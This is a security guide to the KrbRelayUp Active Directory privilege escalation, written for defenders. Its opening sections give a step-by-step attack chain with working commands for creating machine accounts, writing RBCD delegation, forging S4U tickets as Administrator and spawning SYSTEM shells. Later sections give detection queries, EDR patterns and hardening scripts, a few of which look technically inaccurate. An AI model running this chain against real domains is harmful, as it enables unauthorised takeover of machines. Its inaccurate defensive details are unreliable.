KrbRelayUp Attack and Defense

KrbRelayUp exploitation guide for relaying Kerberos authentication to LDAP and abusing RBCD for local privilege escalation in Active Directory environments.

Description

KrbRelayUp is an advanced local privilege escalation technique that chains multiple vulnerabilities in Windows authentication to escalate from a standard domain user to local administrator or SYSTEM on Windows workstations and servers. The attack combines Kerberos authentication relaying with Resource-Based Constrained Delegation (RBCD) abuse to achieve privilege escalation without requiring privileged credentials.

The attack leverages several Windows features working in concert:

Kerberos Authentication: The underlying authentication protocol in Active Directory
Resource-Based Constrained Delegation (RBCD): Allows resource owners to specify which accounts can delegate to them
Service for User (S4U): Kerberos extensions that enable service impersonation
LDAP Reflection: Relaying authentication to modify Active Directory objects

KrbRelayUp is particularly dangerous because:

Low privilege requirement - Only requires a standard domain user account
No admin privileges needed - Works from unprivileged context
Difficult to detect - Uses legitimate Windows features
High success rate - Works on default Windows configurations
Local admin access - Results in full system compromise

Local Privilege Escalation Game-Changer

KrbRelayUp represents a significant evolution in Windows privilege escalation attacks. Unlike traditional techniques requiring misconfigured services or weak permissions, KrbRelayUp exploits fundamental design aspects of Kerberos authentication, making it effective against properly patched systems.

Impact

KrbRelayUp attacks can have severe consequences for organizations:

Local Administrator Access: Complete control over the target workstation or server
Credential Theft: Access to LSASS memory to extract credentials of other logged-in users
Lateral Movement: Pivot point for moving to other systems in the network
Persistence: Ability to install backdoors and maintain long-term access
Data Exfiltration: Access to local files, databases, and sensitive information
Domain Escalation: Potential pathway to domain admin through credential harvesting
Compliance Violations: Unauthorized privilege escalation triggering audit failures
Ransomware Deployment: Common precursor to ransomware installation
Endpoint Security Bypass: Disable or evade EDR and antivirus solutions

The attack is especially impactful in environments where users have limited privileges, as it provides a reliable escalation path on domain-joined systems.

Technical Details

Understanding the Attack Prerequisites

KrbRelayUp requires several conditions to succeed:

Technical Requirements:

Standard domain user credentials
Network connectivity to domain controller (LDAP and Kerberos)
Computer account creation rights (default: 10 machine accounts per user via ms-DS-MachineAccountQuota)
Port 389 (LDAP) or 636 (LDAPS) accessible on domain controller
Local network access (cannot be performed remotely)

Default Active Directory Permissions: By default, domain users have the following rights enabling KrbRelayUp:

Create up to 10 computer accounts (ms-DS-MachineAccountQuota=10)
Modify msDS-AllowedToActOnBehalfOfOtherIdentity attribute on owned computer objects
Request service tickets via S4U2Self and S4U2Proxy

Attack Chain Breakdown

The KrbRelayUp attack consists of multiple stages chained together:

Step 1: Create a New Computer Account

The attacker creates a computer account in Active Directory using their domain user credentials:

# Using PowerMad.ps1
Import-Module .\PowerMad.ps1
New-MachineAccount -MachineAccount "FAKE01" -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose

# Using Impacket addcomputer.py
python3 addcomputer.py -method LDAPS -computer-name 'FAKE01$' -computer-pass 'Password123!' 'DOMAIN/user:password' -dc-ip 10.10.10.1

What Happens:

New computer account "FAKE01$" is created in Active Directory
The attacker knows the password for this computer account
By default, users can create up to 10 computer accounts (ms-DS-MachineAccountQuota)

Step 2: Configure Resource-Based Constrained Delegation (RBCD)

The attacker modifies the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute to allow the created computer account to impersonate users:

# Using PowerView
Set-DomainObject -Identity "TARGET$" -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SD} -Verbose

# Using Impacket rbcd.py
python3 rbcd.py -delegate-from 'FAKE01$' -delegate-to 'TARGET$' -action write 'DOMAIN/user:password' -dc-ip 10.10.10.1

What Happens:

The target computer (TARGET$) is configured to trust the attacker-controlled computer (FAKE01$)
This allows FAKE01$ to impersonate any user to TARGET$
RBCD is designed to let resource owners control delegation, but attackers abuse this

Step 3: Start Local OXID Resolver

KrbRelayUp triggers the OXID resolver service locally to initiate authentication:

# The KrbRelayUp tool automates this process
# It triggers local OXID resolver which attempts to authenticate to the relay server

What Happens:

The local SYSTEM account attempts to authenticate
Authentication is captured and relayed
This provides the SYSTEM account's credentials for relay

Step 4: Relay Authentication to LDAP

The captured SYSTEM authentication is relayed to LDAP on the domain controller:

# KrbRelayUp automatically performs the relay
.\KrbRelayUp.exe relay -Domain corp.local -CreateNewComputerAccount -ComputerName FAKE01 -ComputerPassword Password123!

What Happens:

SYSTEM account's Kerberos TGT is obtained through OXID resolver trigger
Authentication is relayed to LDAP on the domain controller
The relay occurs over the loopback interface, bypassing network detection

Step 5: Request Service Ticket via S4U2Proxy

Using the configured RBCD, request a service ticket impersonating a privileged user:

# Request service ticket impersonating Administrator
.\Rubeus.exe s4u /user:FAKE01$ /rc4:<NTLM_hash> /impersonateuser:Administrator /msdsspn:cifs/TARGET.corp.local /ptt

# Using Impacket getST.py
python3 getST.py -spn cifs/TARGET.corp.local -impersonate Administrator -dc-ip 10.10.10.1 DOMAIN/FAKE01$:Password123!

What Happens:

Request a service ticket for TARGET$ as Administrator
S4U2Self obtains a forwardable ticket for Administrator
S4U2Proxy exchanges it for a service ticket to TARGET$
The ticket grants administrative access to the target system

Step 6: Gain Local Administrator Access

Use the obtained service ticket to access the target system with elevated privileges:

# Inject ticket into session
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Access administrative share
dir \\TARGET\C$

# Execute commands as SYSTEM
.\PsExec.exe \\TARGET cmd.exe

What Happens:

Service ticket is injected into the current session
Full administrative access to the target system is achieved
Attacker can now extract credentials, install persistence, etc.

KrbRelayUp Tool Usage

The KrbRelayUp tool automates the entire attack chain:

Full Attack Execution:

# Method 1: Shadow credential attack (requires LDAPS)
.\KrbRelayUp.exe full -m shadowcred -cls GUID -Domain corp.local

# Method 2: RBCD attack
.\KrbRelayUp.exe full -m rbcd -p Password123! -Domain corp.local -CreateNewComputerAccount

# Method 3: ADCS abuse (if Certificate Services available)
.\KrbRelayUp.exe full -m adcs -Domain corp.local -Template Machine

Relay Mode (More Control):

# Start relay server
.\KrbRelayUp.exe relay -cls GUID -CreateNewComputerAccount -ComputerName FAKE01 -ComputerPassword Password123!

# After relay completes, spawn system shell
.\KrbRelayUp.exe spawn -m rbcd -d corp.local -cn FAKE01 -cp Password123!

Cleanup:

# Remove created computer account and RBCD configuration
.\KrbRelayUp.exe cleanup -d corp.local -cn FAKE01

Attack Variations

1. Shadow Credentials Method:

Uses Key Trust model instead of RBCD:

# Requires LDAPS (port 636)
.\KrbRelayUp.exe full -m shadowcred -cls GUID

Advantages:

Doesn't require creating computer accounts
Cleaner attack path
Requires LDAPS to modify msDS-KeyCredentialLink attribute

2. ADCS Certificate Method:

Leverages Active Directory Certificate Services:

# Requires ADCS with vulnerable certificate template
.\KrbRelayUp.exe full -m adcs -Template Machine

Advantages:

Uses certificates for authentication
Persistent access (certificate validity period)
Bypasses password changes

3. Manual RBCD with Existing Computer Account:

If you've already compromised a computer account:

# Configure RBCD manually
Import-Module .\PowerView.ps1
$ComputerSid = Get-DomainComputer FAKE01 -Properties objectsid | Select-Object -ExpandProperty objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TARGET | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Request service ticket
.\Rubeus.exe s4u /user:FAKE01$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET /ptt

Detection

Detecting KrbRelayUp requires monitoring multiple attack stages and correlating events.

Event Log Monitoring

Event ID 4741: Computer Account Created

The first indicator is the creation of a new computer account:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4741)]]
      and
      *[EventData[Data[@Name='SubjectUserName'] != '$']]
    </Select>
  </Query>
</QueryList>

Key Indicators:

Computer account created by a user account (not SYSTEM or domain controller)
Naming patterns suggesting automated creation (FAKE01, ATTACK$, etc.)
Multiple computer accounts created in short timeframe
Computer accounts created by service accounts or low-privilege users

Event ID 4742: Computer Account Changed

RBCD configuration modifications generate this event:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4742)]]
      and
      *[EventData[Data[@Name='AllowedToDelegateTo'] != '']]
    </Select>
  </Query>
</QueryList>

Event ID 4768: Kerberos TGT Request

Monitor for suspicious TGT requests from computer accounts:

# Look for newly created computer accounts requesting TGTs
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768} |
  Where-Object {$_.Properties[0].Value -like "*$" -and $_.TimeCreated -gt (Get-Date).AddMinutes(-10)} |
  Select-Object TimeCreated, @{N='Account';E={$_.Properties[0].Value}}, @{N='ClientAddress';E={$_.Properties[9].Value}}

Event ID 4769: Kerberos Service Ticket Request

Detect S4U2Proxy requests:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4769)]]
      and
      *[EventData[Data[@Name='TicketOptions']='0x40810000']]
      and
      *[EventData[Data[@Name='ServiceName'] != 'krbtgt']]
    </Select>
  </Query>
</QueryList>

S4U2Proxy Indicators:

TicketOptions: 0x40810000 (forwardable, renewable, canonicalize)
TransmittedServices field populated (indicates delegation)
Service tickets requested immediately after computer account creation

Advanced Detection with SIEM

Splunk Detection Query:

# Detect KrbRelayUp attack pattern
index=windows (EventCode=4741 OR EventCode=4742 OR EventCode=4769)
| transaction Subject_Account_Name maxspan=10m
| where EventCode=4741 AND EventCode=4742 AND EventCode=4769
| stats count by Subject_Account_Name, Computer_Account_Name, Target_Computer
| where count >= 3

Azure Sentinel KQL Query:

// KrbRelayUp detection rule
let timeframe = 15m;
let ComputerCreation = SecurityEvent
| where TimeGenerated > ago(timeframe)
| where EventID == 4741
| where SubjectUserName !endswith "$"
| project TimeGenerated, CreatorAccount=SubjectUserName, ComputerAccount=TargetUserName, Computer;
let RBCDModification = SecurityEvent
| where TimeGenerated > ago(timeframe)
| where EventID == 4742
| where AllowedToDelegateTo != ""
| project TimeGenerated, ModifierAccount=SubjectUserName, TargetComputer=TargetUserName;
let S4URequests = SecurityEvent
| where TimeGenerated > ago(timeframe)
| where EventID == 4769
| where TicketOptions == "0x40810000"
| project TimeGenerated, RequestingAccount=SubjectUserName, ServiceName;
ComputerCreation
| join kind=inner (RBCDModification) on $left.CreatorAccount == $right.ModifierAccount
| join kind=inner (S4URequests) on $left.ComputerAccount == $right.RequestingAccount
| project TimeGenerated, CreatorAccount, ComputerAccount, TargetComputer, ServiceName

Behavioral Analytics

Anomaly Indicators:

Computer Account Creation Patterns
- Users creating multiple computer accounts
- Computer account names following suspicious patterns
- Creation outside business hours
RBCD Modifications
- New msDS-AllowedToActOnBehalfOfOtherIdentity values
- RBCD configured on workstations (uncommon)
- User accounts modifying delegation settings
S4U Request Anomalies
- Newly created computer accounts immediately requesting service tickets
- S4U2Proxy requests from workstation computer accounts
- Service tickets for Administrator or other high-privilege accounts
LDAP Query Patterns
- Queries for ms-DS-MachineAccountQuota
- Searches for computers with RBCD configured
- Enumeration of computer account permissions

Honey Token Detection

Deploy decoy computer accounts to detect reconnaissance:

# Create honeypot computer account
New-ADComputer -Name "HONEYPOT-LEGACY" -Path "OU=Workstations,DC=corp,DC=local" -Description "Decommissioned system"

# Monitor for any authentication or modification attempts
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624,4741,4742} |
  Where-Object {$_.Message -like "*HONEYPOT-LEGACY*"}

Alert immediately on any interaction with honeypot accounts.

Remediation

Immediate response requires disabling the attack chain and removing attacker-created objects.

Immediate Response Actions

Step 1: Identify Suspicious Computer Accounts

# Find recently created computer accounts
Get-ADComputer -Filter {whenCreated -gt $((Get-Date).AddDays(-7))} -Properties whenCreated, Creator |
  Select-Object Name, whenCreated, Creator |
  Where-Object {$_.Creator -notlike "*DC=*"}

# Check computer account creation by users
Search-ADAccount -AccountDisabled | Where-Object {$_.ObjectClass -eq "computer"}

Step 2: Remove Malicious RBCD Configurations

# Find computers with RBCD configured
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
  Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'} |
  Select-Object Name, @{N='AllowedPrincipals';E={$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'}}

# Remove malicious RBCD configuration
Set-ADComputer -Identity "TARGET" -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

# Verify removal
Get-ADComputer -Identity "TARGET" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

Step 3: Delete Attacker-Created Computer Accounts

# Delete suspicious computer accounts (verify first!)
Remove-ADComputer -Identity "FAKE01" -Confirm:$true

# Force Kerberos ticket revocation
klist purge -li 0x3e7

Step 4: Reset Compromised Account Passwords

# Reset computer account password
Reset-ComputerMachinePassword -Server DC01.corp.local

# For domain controllers, reset KRBTGT if domain admin was compromised
# This requires TWO resets with 24-hour wait between

Step 5: Hunt for Persistence Mechanisms

# Check for scheduled tasks
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*FAKE01*"} |
  Select-Object TaskName, TaskPath, State

# Review services
Get-WmiObject Win32_Service | Where-Object {$_.StartName -like "*FAKE01*"} |
  Select-Object Name, PathName, StartMode, State

# Audit local administrators group
Get-LocalGroupMember -Group "Administrators"

Long-Term Mitigation Strategies

1. Disable Computer Account Creation by Users

The most effective mitigation is preventing users from creating computer accounts:

# Set ms-DS-MachineAccountQuota to 0
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}

# Verify the change
Get-ADDomain | Select-Object -ExpandProperty ms-DS-MachineAccountQuota

# Create a dedicated group for computer account management
New-ADGroup -Name "Computer Account Creators" -GroupScope Global -GroupCategory Security

# Grant delegation only to this group (via Active Directory Users and Computers)
# Right-click domain > Delegate Control > Add group > "Join computers to domain"

2. Implement LDAP Signing and Channel Binding

Prevent LDAP relay attacks:

# Enable LDAP signing (Group Policy)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Domain controller: LDAP server signing requirements" = Require signing

# Enable LDAP channel binding
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding" -Value 2 -PropertyType DWORD -Force

# Restart NTDS service (requires reboot or maintenance window)
Restart-Service NTDS

3. Deploy Extended Protection for Authentication (EPA)

# Enable EPA for all services
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters" -Name "DisableExtendedProtection" -Value 0

# Configure via Group Policy
# Computer Configuration > Administrative Templates > System > Extended Protection for Authentication

4. Restrict RBCD Modifications

Limit who can modify msDS-AllowedToActOnBehalfOfOtherIdentity:

# Create security group for RBCD management
New-ADGroup -Name "RBCD Administrators" -GroupScope Global -GroupCategory Security

# Remove default permissions allowing computer self-modification
$acl = Get-Acl "AD:\CN=Computers,DC=corp,DC=local"
$acl.Access | Where-Object {$_.IdentityReference -like "*SELF*" -and $_.ActiveDirectoryRights -like "*WriteProperty*"} | ForEach-Object {$acl.RemoveAccessRule($_)}
Set-Acl -Path "AD:\CN=Computers,DC=corp,DC=local" -AclObject $acl

5. Enable Enhanced Kerberos Auditing

# Enable detailed Kerberos event logging
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable

# Enable S4U2Proxy logging (requires registry modification)
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters" -Name "LogLevel" -Value 1 -PropertyType DWORD -Force

6. Implement Privileged Access Workstations (PAWs)

# Restrict where privileged accounts can authenticate
# Configure authentication policies for high-value accounts
New-ADAuthenticationPolicy -Name "Administrator Protection" -UserAllowedToAuthenticateFrom "O:SYG:SYD:(A;;CR;;;WD)" -UserTGTLifetimeMins 120

# Apply to administrator accounts
Set-ADUser -Identity Administrator -AuthenticationPolicy "Administrator Protection"

Prevention Best Practices

Active Directory Hardening Framework

Machine Account Quota Management

Critical First Step: Disable User Computer Account Creation

# Query current setting
Get-ADDomain | Select-Object -ExpandProperty ms-DS-MachineAccountQuota

# Set to 0 to prevent user-created computer accounts
Set-ADDomain -Identity corp.local -Replace @{"ms-DS-MachineAccountQuota"="0"}

# Create audit script to monitor attempts
$ScriptBlock = {
    Get-WinEvent -FilterHashtable @{LogName='Security';ID=4741} |
    Where-Object {$_.Properties[4].Value -ne "DC=$" -and $_.Properties[4].Value -ne "SYSTEM"} |
    ForEach-Object {
        $props = @{
            TimeCreated = $_.TimeCreated
            Creator = $_.Properties[4].Value
            ComputerAccount = $_.Properties[0].Value
            Result = $_.Properties[8].Value
        }
        [PSCustomObject]$props
    }
}

# Schedule monitoring
Register-ScheduledTask -TaskName "MonitorComputerCreation" -Trigger (New-JobTrigger -Daily -At 9am) -Action (New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-Command $ScriptBlock")

Recommendations:

Set ms-DS-MachineAccountQuota to 0 in all domains
Delegate computer account creation to specific security groups
Implement approval workflow for new computer accounts
Audit existing computer accounts quarterly

LDAP Hardening

Mandatory LDAP Security Controls:

# Enable LDAP signing requirement
$DCs = Get-ADDomainController -Filter *
foreach ($DC in $DCs) {
    Invoke-Command -ComputerName $DC.HostName -ScriptBlock {
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 2
        Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding" -Value 2
    }
}

# Configure via Group Policy (preferred method)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Domain controller: LDAP server signing requirements" = Require signing
# "Domain controller: LDAP server channel binding token requirements" = Always

# Verify configuration
Get-ADDomainController -Filter * | ForEach-Object {
    Invoke-Command -ComputerName $_.HostName -ScriptBlock {
        Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" |
        Select-Object LDAPServerIntegrity, LdapEnforceChannelBinding
    }
}

LDAPS Enforcement:

# Install certificate on domain controllers
# Ensure LDAPS (port 636) is available

# Test LDAPS connectivity
$ldapConnection = New-Object System.DirectoryServices.Protocols.LdapConnection("dc01.corp.local:636")
$ldapConnection.SessionOptions.SecureSocketLayer = $true
$ldapConnection.SessionOptions.VerifyServerCertificate = {$true}
$ldapConnection.Bind()

RBCD Monitoring and Control

Continuous RBCD Auditing:

# Create baseline of legitimate RBCD configurations
$Baseline = Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
  Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'} |
  Select-Object Name, @{N='Delegation';E={$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'}} |
  Export-Csv -Path "C:\Baseline\RBCD_Baseline.csv" -NoTypeInformation

# Daily comparison script
Function Compare-RBCDBaseline {
    $Current = Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
      Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'}

    $Baseline = Import-Csv -Path "C:\Baseline\RBCD_Baseline.csv"

    $NewDelegations = Compare-Object -ReferenceObject $Baseline -DifferenceObject $Current -Property Name |
      Where-Object {$_.SideIndicator -eq "=>"}

    if ($NewDelegations) {
        $alertMessage = "New RBCD configurations detected:`n"
        foreach ($item in $NewDelegations) {
            $alertMessage += "  - $($item.Name)`n"
        }
        # Send alert (email, SIEM, etc.)
        Write-Warning $alertMessage
    }
}

# Schedule daily check
$trigger = New-JobTrigger -Daily -At 6am
Register-ScheduledJob -Name "RBCD Audit" -Trigger $trigger -ScriptBlock ${Function:Compare-RBCDBaseline}

Remove Self-Modification Rights:

# Prevent computer accounts from modifying their own delegation settings
Import-Module ActiveDirectory
$computers = Get-ADComputer -Filter * -SearchBase "CN=Computers,DC=corp,DC=local"

foreach ($computer in $computers) {
    $acl = Get-Acl "AD:\$($computer.DistinguishedName)"
    $selfSid = [System.Security.Principal.SecurityIdentifier]"S-1-5-10" # SELF

    $rulesToRemove = $acl.Access | Where-Object {
        $_.IdentityReference -eq $selfSid -and
        $_.ActiveDirectoryRights -like "*WriteProperty*" -and
        $_.ObjectType -eq "00000000-0000-0000-0000-000000000000" # All properties
    }

    foreach ($rule in $rulesToRemove) {
        $acl.RemoveAccessRule($rule) | Out-Null
    }

    Set-Acl -Path "AD:\$($computer.DistinguishedName)" -AclObject $acl
}

Network-Level Protection

SMB Signing and Protection:

# Enable SMB signing domain-wide (Group Policy)
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Microsoft network client: Digitally sign communications (always)" = Enabled
# "Microsoft network server: Digitally sign communications (always)" = Enabled

# Disable SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart

# Verify SMB signing configuration
Get-SmbServerConfiguration | Select-Object EnableSMB1Protocol, RequireSecuritySignature, EncryptData

Network Segmentation:

# Implement firewall rules to restrict LDAP access
New-NetFirewallRule -DisplayName "Restrict LDAP to DCs" -Direction Outbound -Protocol TCP -LocalPort 389,636 -Action Block -RemoteAddress Any

# Allow only to domain controllers
New-NetFirewallRule -DisplayName "Allow LDAP to DC" -Direction Outbound -Protocol TCP -LocalPort 389,636 -Action Allow -RemoteAddress "10.10.10.10,10.10.10.11"

EDR and Behavioral Detection

Deploy Endpoint Detection Rules:

# Create custom detection rule for KrbRelayUp execution
# Monitor for process creation of known KrbRelayUp executables

# Windows Defender ATP custom detection
# DeviceProcessEvents
# | where ProcessCommandLine contains "KrbRelayUp"
#    or ProcessCommandLine contains "relay -cls"
#    or ProcessCommandLine contains "full -m rbcd"
# | project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName

# Monitor for OXID resolver activity
# DeviceNetworkEvents
# | where RemotePort == 135
#    and LocalIP == RemoteIP  # Loopback connection
# | where ProcessName in~ ("KrbRelayUp.exe", "Rubeus.exe")

Behavioral Monitoring:

Alert on process accessing both LDAP (389/636) and RPC (135) simultaneously
Detect PowerShell scripts importing PowerMad or PowerView modules
Monitor for new computer accounts created within 24 hours of S4U requests
Flag workstations making LDAP writes to domain controllers

Verification

Validate Security Posture

Check Machine Account Quota

# Verify ms-DS-MachineAccountQuota is set to 0
Get-ADDomain | Select-Object -ExpandProperty ms-DS-MachineAccountQuota

# Expected output: 0

Verify LDAP Signing Configuration

# Check LDAP signing settings on domain controllers
$DCs = Get-ADDomainController -Filter *
foreach ($DC in $DCs) {
    $result = Invoke-Command -ComputerName $DC.HostName -ScriptBlock {
        Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" |
        Select-Object PSComputerName, LDAPServerIntegrity, LdapEnforceChannelBinding
    }
    $result
}

# Expected values:
# LDAPServerIntegrity: 2 (Require signing)
# LdapEnforceChannelBinding: 2 (Always)

Audit RBCD Configurations

# List all computers with RBCD configured
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
  Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity'} |
  Select-Object Name, DNSHostName, @{N='AllowedDelegation';E={
    $bytes = $_.'msDS-AllowedToActOnBehalfOfOtherIdentity'
    if ($bytes) {
      $sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
      $sd.SetSecurityDescriptorBinaryForm($bytes)
      $sd.Access | Select-Object -ExpandProperty IdentityReference
    }
  }}

# Review each entry to ensure legitimacy

Test Detection Capabilities

Controlled Testing (Authorized Environments Only):

# Test computer account creation monitoring
New-ADComputer -Name "TEST-KRBRELAYUP" -Path "OU=Test,DC=corp,DC=local" -Enabled $false

# Verify alert generation in SIEM
# Expected: Alert within 5 minutes of creation

# Cleanup
Remove-ADComputer -Identity "TEST-KRBRELAYUP" -Confirm:$false

Advanced Considerations

KrbRelayUp in Multi-Domain Forests

Cross-Domain Attacks:

In multi-domain environments, attackers may exploit trust relationships:

# Enumerate trusts
Get-ADTrust -Filter *

# KrbRelayUp can target computers in trusted domains
# Mitigation: Apply ms-DS-MachineAccountQuota=0 in ALL domains

Cloud-Hybrid Environments

Azure AD Joined Devices:

Azure AD joined devices are not vulnerable to traditional KrbRelayUp, but hybrid-joined devices are:

# Identify hybrid-joined computers
Get-ADComputer -Filter * -Properties msDS-cloudExtensionAttribute1 |
  Where-Object {$_.'msDS-cloudExtensionAttribute1'} |
  Select-Object Name, DNSHostName

# Apply same mitigations to hybrid-joined devices

Windows Versions and Patching

Affected Versions:

Windows Server 2012 R2 and later
Windows 8.1 and later
All versions with Resource-Based Constrained Delegation support

Patches: Microsoft has not released a patch to "fix" KrbRelayUp, as it exploits legitimate features. Mitigation relies on configuration hardening.

Alternative Attack Methods

If KrbRelayUp is blocked, attackers may pivot to:

Shadow Credentials: Requires LDAPS and modifies msDS-KeyCredentialLink
ADCS Abuse: Exploits misconfigured certificate templates
Traditional NTLM Relay: If SMB signing is not enforced

References

Tools Documentation

KrbRelayUp GitHub Repository - Unified exploitation tool
Rubeus - S4U ticket operations
Impacket - NTLM relay and S4U support

Next Steps

If KrbRelayUp vulnerabilities are identified:

Immediately set ms-DS-MachineAccountQuota to 0 across all domains
Enable LDAP signing and channel binding on all domain controllers
Deploy RBCD monitoring with automated alerting for configuration changes
Implement enhanced Kerberos auditing and integrate with SIEM
Review related Active Directory attack techniques:
- NTLM Relay
- Silver Ticket

Takeaway: KrbRelayUp represents a significant local privilege escalation risk in Active Directory environments. The most effective defense is disabling user computer account creation (ms-DS-MachineAccountQuota=0) combined with LDAP signing enforcement and RBCD monitoring. These controls must be implemented domain-wide as part of a comprehensive Active Directory hardening strategy. Regular auditing and behavioral monitoring are essential to detect exploitation attempts.

KrbRelayUp Attack and Defense

On this page